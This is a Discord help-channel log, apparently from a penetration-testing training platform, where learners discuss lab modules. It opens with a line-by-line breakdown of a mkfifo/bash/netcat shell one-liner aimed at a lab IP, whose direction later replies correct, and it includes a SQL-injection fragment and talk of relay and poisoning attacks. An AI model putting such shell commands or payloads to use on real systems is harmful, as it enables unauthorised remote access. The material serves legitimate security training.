rm - f /tmp/f: delete the /tmp/f file, since it will be recreated shortly
mkfifo /tmp/f: create a named FIFO /tmp/f. A named fifo is a file two processes can write into and read from.
cat /tmp/f: read the contents of /tmp/f. If no content has been written, block until it is.
|: the content of /tmp/f is sent to the next program.

/bin/bash -i: the next program is bash, a very popular shell interpreter. Here it is launched in interactive mode (-i), so it can read the appropriate configuration files (.bashrc in primis).

2>&1: fuse standard error into standard output, so both can pass through the pipe to the following program.
nc -l 10.129.41.200 7777 : whatever output/error bash produces, send it via TCP to 10.129.41.200:7777.

You will have to open a TCP server to receive the data. You can do this with nc -l -p 7777, for example.

Now you get data from bash, either the welcome message+prompt (first time it connects), or some command output (later). You write a new command and press ENTER. It will be sent as a response to the nc process.
> /tmp/f: whatever nc gets back from you (usually, a command) gets written to /tmp/f and the whole game starts again.
This is a reverse shell; it is called "reverse" because the flow of communication is inverted (your server is used to request bash command executions, the nc command that acts as a client is used to forward back the corresponding responses).

[hasty mauve]

for anyone who did the Kerberos Attacks skills assessment, how did you get capture the ticket?
krbrelayx doesn't work on target machine because there's a mismatch between it and impacket, deleting impacket also removes the ldapdomaindump library which krbrelayx needs.

[devout lily]

nc -l 10.129.41.200 7777 the -l option set a listener, so why do i use this command to connect to a listener (set with nc -l -p 7777) on the attacker host?

[devout lily]

answer for this

[winter niche]

Android Penetration Testing Automation module Drozer sub module, how to solve this?

[brave field]

nc -l 10.129.41.200 7777 = listen on that IP:port (run on target)

nc -nv 10.129.41.200 7777 = connect to that IP:port (run on attacker)

that long command creates a listener on the target (it binds nc -l to the given IP:port and hooks an interactive bash to it via the FIFO). You then connect from your machine with a normal netcat client (no -l)

[hidden ledge]

.

[midnight laurel]

Do you know why i am unable to get into the website for some of the challenges even after adding the IP into my /etc/hosts?

[hidden ledge]

Make sure your VPN is up

[midnight laurel]

Im connected to it.

[hidden ledge]

Then I don't know sorry, which chall is it ?

[brave field]

Dm me if stuck

[kind lance]

Hi, I'm stuck on the Footprinting module -> SMB section -> Question 6.

I need to find the full system path for the sambashare. I've already tried all enumeration tools (enum4linux, smbmap, nmap scripts) but none of them show the path, and the hint is empty.

Can anyone who solved this recently point me in the right direction? Thanks!

[cedar pilot]

i want help for API Attacks Security Misconfiguration in question 2 i resend header with Origin = * but didnt response flag i used network after that edit headers and resend this after do it ' OR 1==1 --

can anyone help me

[lusty flint]

Might be a stupid question but is there a way to download all the precompiled binaries for windows from the Active Directory Module ?

To be more clear in the module when they give us access to a windows machine there are a set of tools under:
C:/Tools/

[lusty flint]

Have you tried using rpcclient ?
There is a query used to enumerate share info
Pretty sure it’s mentioned in the section

[hasty mauve]

Hell yeah, finally finished this beast.

https://academy.hackthebox.com/achievement/1442259/25

[potent linden]

Congrats! I've yet to do this one, what did you think of it?

[hasty mauve]

Best Module in Academy so far.
I still feel like they should explain some stuff a bit more, but overall the best module I ever took, and it is the first Hard module I do in Academy so I have a lot more to learn lol.

[brave field]

use rpcclient

[stuck grove]

Hi i am sorry but is anyone except me facing issue to spawn windows target ?

to be more specific for module : Pivoting, Tunneling, and Port Forwarding and section: Port Forwarding with Windows Netsh

[sly nebula]

On the victim host:
nc 10.129.41.200 7777
On the attacker host (10.129.41.200):
nc -nvlp 7777

[onyx atlas]

Try to change vpn server. I faced a similar issue

[stuck grove]

thanks

[kind lance]

thanks guys

[terse bloom]

Hello, will I get banned if I gain a revshell on a public instance in modules?

[carmine needle]

good news for me, I did not skip anything in the reading. bad news is that the request mismatch is still unexplained

I randomly tried manually typing in https (to sub http) and after clicking through a self-signed cert warning im at the site

didnt think that would work, but here we are

[sly nebula]

Answering myself: it works on the pwnbox.Must be a more modern python setup on my machine.

[fathom pendant]

there's no intended way of getting a revshell on public agents in the modules

[terse bloom]

So that's a yes?

[fathom pendant]

i'm not staff; but i would ask support to be sure

[compact patrol]

https://help.hackthebox.com/en/articles/5987511-contacting-academy-support

[grizzled schooner]

Anyone available for a nudge on File Inclusions | Basic Bypasses?

[fossil jacinth]

Sure

[grizzled schooner]

Everything I'm attempting payload wise is either leading to illegal path specified! or just a blank page

[fossil jacinth]

Okay so you need to find some payload to bypass.

[grizzled schooner]

I've tried everything that I have - it mentions to combine payloads etc, which I feel I've done... I just don't know where to look at this point

[fossil jacinth]

Do you have an idea of which simple payload triggers this ?

[grizzled schooner]

triggers what? illegal path specified or a blank page?

[fossil jacinth]

The illegal

[grizzled schooner]

I've had it happen a couple of different ways

[fossil jacinth]

Focus on that maybe ? Try to bypass it ?

[grizzled schooner]

That's what I'm trying to do lol

[fossil jacinth]

Okay, you did mention the empty page though, didn't know where your focus lies.

Go through the module and try all mentioned payloads trying to bypass it.

[rare condor]

target is not spin up Meterpreter

[fossil jacinth]

Yep htb currently faces some issues, other people have reported not spawning machines.

[grizzled schooner]

I tried to browse forums.... found the answer, I have no idea how I would've gotten that with page content but oh well :/

[rare condor]

huh alright ,ty

[crystal cove]

Hi chat, I have a question regarding a LLMNR/NBT-NS/mDNS Poisoning, in the course, the attack steps say:

A victim device sends a name resolution query for a mistyped hostname (e.g., fileshrae).
DNS fails to resolve the mistyped hostname.
The victim device sends a name resolution query for the mistyped hostname using LLMNR/NBT-NS.
The attacker's host responds to the LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic, pretending to know the identity of the requested host. This effectively poisons the service, directing the victim to communicate with the adversary-controlled system.

Now why, me (the victim in this scenario and in real life) would ask some random server in my network to resolve the \fileshrae address ? Does a company need a dedicated LLMNR and NBT-NS server to address this ?

[kind lance]

Hello, I'm stuck on Question 4 of the DNS section in the Footprinting module (ACADEMY-FOOT-NIX01).

The task is to find the FQDN for the IP ending in ".203". This host is not in the AXFR zone transfer results. I have also completed a full gobuster brute-force with the 'subdomains-top1million-110000.txt' wordlist, and the host was still not found.

Has anyone solved this recently? I suspect the lab might be bugged or has been updated. Thanks.

[fossil jacinth]

What about the hosts given from the axfr ? @kind lance Tried enumerating them ?

[acoustic owl]

LLMNR uses multicast. This means that the client sends a request to all devices in the network.

[kind lance]

@fossil jacinth Hey, thanks a lot for the hint! That was a great idea.

I tried to pivot and enumerate the hosts from the AXFR, starting with dc1, but it seems they are on a non-routable network (I got a host unreachable error).

After that, I tried everything else, including a brute-force with a large wordlist and even looked up the old community answer for this question, but nothing works. The lab seems to be bugged or was updated.

Thanks again for your help!

[fossil jacinth]

Truth be told I also struggled a bit there. Maybe it's been updated, not sure. Try maybe restarting the instance if you think it's bugged.

I do believe though that you are missing something.

[kind lance]

I changed the instance and it still gives the same result 🙁

[ocean coral]

So I’m having an issue with the responder module when I try to run the responder.py command

[golden moat]

Fundamentals - Android - Android Debug Bridge. Stuck!
So the other night I spent 3 hours grabbing Android Studio and the Emulator and working though the Debug Bridge questions.. was so tunnel vision on my laptop!
All to complete the last couple of sections within the Android Fundamentals Module.
Setup -
Windows laptop using Terminal with adb installed and re-pathed.
Pixel 3a XL 36.0 API
I have created my APK and have been able to upload it the the virtual pixel within AS. When trying to read the flag.txt it WILL NOT find the flag.txt file on the android sdcard.

I have reset everything. Recreated the apk signature and tried again. Narda.
Is there something I'm missing or an idea someone can float by me. Part of the steps it asks you to follow is to connect the android phone via USB.. how do I do this if its virtual!!
URL for context: https://academy.hackthebox.com/beta/module/195/section/2239

I'm at the point now where I really just want to complete the last sections of the Android Fundamentals so I can complete the OS Fundamentals module. I don't need to, my path will never really see me debug/pentest an android OS, just really want to complete it for my own sanity!

[sturdy sandal]

Hi all! Finished all the "fundamentals" modules but the measurement gauge remains at 98.44%. I reviewed all of them using the "all modules" filtered on "fundamentals" only and I haven't seen any missing answer even to optional questions. Anyone having the same results ?

[sturdy sandal]

😅 Seems "General" and "Fundamentals" are 2 different things

[fathom pendant]

yeah

general is stuff that neither falls under offensive or defensive and i believe the modules are tagged that way

[sturdy sandal]

Thanks @fathom pendant done all of them except the Tier III "Android forensics", it should be the 1.56% I miss...

[livid briar]

Hi all, is this the correct place to seek help on a module? I am stuck on Pass the Certificate module in the CPTS track. When I try to do the module using the hosted attackbox, impacket-ntlmrelayx produces an error which looks its due to port 80 being used. (I kill the pid and the share stops) so I am attempting from a box I have in a VM, and now I don't get the error but I never seem to grab the cert. Just line after line of this. [*] SMBD-Thread-16 (process_request_thread): Received connection from 10.129.234.172, attacking target http://10.129.234.174 I have looked at some walkthroughs and all seem to indicate this SHOULD work but I cannot get it to grab the cert, any help would be appreciated.

[hollow kernel]

Hi
I have a question the last module in documentation and reporting and aen, are different penetretion tests?

[cloud urchin]

yeah

[ocean coral]

i'm have an issue reaching the websites the the three module not sure what i'm missing

[waxen totem]

please ask in #starting-point, that's not a module, that's a starting-point box

[ocean coral]

thanks

[winter niche]

What is the value of the string found within the "flag.txt" file located in the root directory of the app? (An unrooted device is suggested for this exercise), nnedd help in this
https://academy.hackthebox.com/module/281/section/3119

[tidal mango]

did the erratum channel get removed? Or am I just missing it somehow? I found an error that I was hoping to report?

[brave field]

You're not alone, I don't see it either

[autumn pilot]

try to verify your account again

[tidal mango]

I see in Welcome how to connect my discord account, which is already done, is there another place to look at to verify my account?

[autumn pilot]

You should get the Verified role

Also, try accessing it directly via #1234357888114364508

[brave field]

Worked, thanks!

[brave field]

That's not a bind shell, that's a reverse shell?

[waxen totem]

yeah technically he has it backwards

[brave field]

I think he copied the response from ChatGPT directly without understanding it

This part #modules message

https://cdn.discordapp.com/emojis/889992816296595456.webp?size=44

[agile cedar]

┌──(root㉿astra)-[/home/astra]
└─# xfreerdp /u:htb-student /p:'Academy_student_AD!' /v:10.129.150.3 /cert-ignore
[12:21:01:689] [3780:3781] [ERROR][com.winpr.timezone] - Unable to find a match for unix timezone: Asia/Kolkata
[12:21:02:700] [3780:3781] [ERROR][com.freerdp.core.connection] - Timeout waiting for activation
[12:21:02:703] [3780:3780] [ERROR][com.freerdp.core] - freerdp_abort_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_CANCELLED [0x0002000B]
, can anyone please tell me how to resolve this issue??

[brave field]

Change VPN region maybe that'll help

[brazen nacelle]

Any hints for me? I used sudo and it works with ligolo. But I want to understand why the official solution with proxychains doesn't work.

[stuck hollow]

On module API Attacks section Broken Authentication even fuzzing correctly ffuf don't find correct OTP. i also tried with wfuzz and same happens.

[prime mirage]

Be more specific

[stuck hollow]

what else info do you need?

[prime mirage]

I don't do modules so I don't have all the context

What are you trying to do exactly

[humble hound]

and yet u yap here

[humble hound]

how do u know it didnt find correct OTP?

re u sure you got the correct syntax? payload?
-# I dont do too, but can assume

[brave field]

nmap and proxychains don’t work well because nmap sends special low-level packets that can’t go through a proxy. Use TCP connect scans by adding the -sT flag to your nmap command. This establishes a full TCP connection, which is more compatible with proxychains

[stuck hollow]

cause after many tries ive check solution, and OTP num in ffuf has Ch 22, and for me are all 23

iv tried also without -t 100 and dont work

[stuck hollow]

yes

[humble hound]

hmm, i dont understand what Sh 22 and 23 is
but if it worked, mean the syntax was wrong? maybe share the command or screenshot?

are u here to complain things arent working as it should be? or need help fininshing it?

if its reporting there's some channel for it

[stuck hollow]

also copy paste from answer to check, and same happens

Ch 23 = character 23

[humble hound]

hmm, remove all filters use verbose mode on ffuf and see whats going on

[stuck hollow]

did it dont work

[humble hound]

i cant find the channel where u can report mistakes
it was something called errarta

or just link me to that module, will check

[stuck hollow]

gonna take a look

on that channel

[stuck hollow]

https://academy.hackthebox.com/module/268/section/3062

[humble hound]

yeah no it needs cubes xD
maybe someone else will help u

[stuck hollow]

oh ok thanks anyway

[brazen nacelle]

It seems that Kali already uses proxychains-ng under the alias proxychains.

[brave field]

Correct, the proxychains4

Did you try using -sT scan?

[visual jasper]

hellp I needed some help with Attacking Common Applications module, Attacking splunk

[brazen nacelle]

Yes. proxychains nmap -sT -p PORTS IP . I also followed the official solution of the module. But it didn't work

[wooden seal]

https://academy.hackthebox.com/module/306/section/3584
remediation # 11
did what was supposed to be done still not getting flag (can dm screenshot of the thing i done)
edit: was supposed to wait after doint

[visual jasper]

hey if someone can please help me with this

[wooden seal]

whats the issue? mate

[visual jasper]

Not recieving reverse shell

[flint folio]

Hey, can anyone help me with Web Attacks Skills Assessment? ||I enumerated all users and reset their passwords but dunno how to spot the one with admin privs, no clear hint on descriptions and fetching index.php or settings.php gave no differences among users. I was expecting to find admin user with extra option/privilege option to submit data via XML and there XXE to retrieve the flag.||

[eager spindle]

Have you tried saving all users?

[devout lily]

Hi everyone, can someone help me to undestand the difference between staged and stageless payloads?

[solemn bluff]

small typo/recent update:

technically lxc-utils is now part of lxc as of recent versions of debian/ubuntu distros

(in contanerization linux fundamentals section)

[fathom pendant]

#1234357888114364508

[upper widget]

Targets are not getting spawned on US vpn too...

[lapis burrow]

same

[upper widget]

refresh the page and wait for a minute, it will spawn

[lapis burrow]

It spawns now but can't connect to target.

[upper widget]

sad life

[upper widget]

it is working

[fathom pendant]

Not all targets respond to pings, im assuming youre connected to the vpn

[upper widget]

use nmap

@lapis burrow